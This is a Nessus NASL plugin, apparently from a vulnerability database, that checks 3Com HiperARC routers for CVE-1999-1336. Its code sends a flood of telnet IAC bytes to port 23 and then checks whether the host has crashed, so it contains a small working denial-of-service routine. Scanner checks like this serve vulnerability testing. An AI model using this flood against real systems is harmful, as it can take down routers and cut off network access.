3Com HiPer Access Router Card (HiperARC) IAC Packet Flood DoS

1999-08-20T00:00:00
ID HYPERBOMB.NASL
Type nessus
Reporter This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
Modified 2020-02-02T00:00:00

Description

It was possible to reboot the remote host (likely a HyperARC router) by sending it a high volume of IACs.

An attacker may use this flaw to shut down your internet connection.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10108);
 script_version("1.29");
 script_cvs_date("Date: 2018/11/15 20:50:21");

 script_cve_id("CVE-1999-1336");

 script_name(english:"3Com HiPer Access Router Card (HiperARC) IAC Packet Flood DoS");
 script_summary(english:"Crashes the remote host using the 'hyperbomb' attack");

 script_set_attribute(attribute:"synopsis", value:"The remote host is vulnerable to a denial of service attack.");
 script_set_attribute(attribute:"description", value:
"It was possible to reboot the remote host (likely a HyperARC router)
by sending it a high volume of IACs.

An attacker may use this flaw to shut down your internet connection.");
 script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=93492615408725&w=2");
 script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=93458364903256&w=2");
 script_set_attribute(attribute:"solution", value:
"Add a telnet access list to your Hyperarc router. If the remote system
is not a Hyperarc router, then contact your vendor for a patch.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");

 script_set_attribute(attribute:"vuln_publication_date", value:"1999/08/13");
 script_set_attribute(attribute:"plugin_publication_date", value:"1999/08/20");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_FLOOD);
 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
 script_family(english:"Denial of Service");

 script_require_keys("Settings/ParanoidReport");
 script_require_ports(23);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

start_denial();
port = 23;
if(get_port_state(port))
{
 soc = open_sock_tcp(port);
 if(soc)
 {
  data = raw_string(254, 36, 185);
  for(i=0;i<60000;i=i+1)
  {
   send(socket:soc, data:data, length:3);
  }
  close(soc);


 #
 # wait
 #
 sleep(5);

 alive = end_denial();
 if(!alive){
                set_kb_item(name:"Host/dead", value:TRUE);
                security_warning(0);
                }
 }
}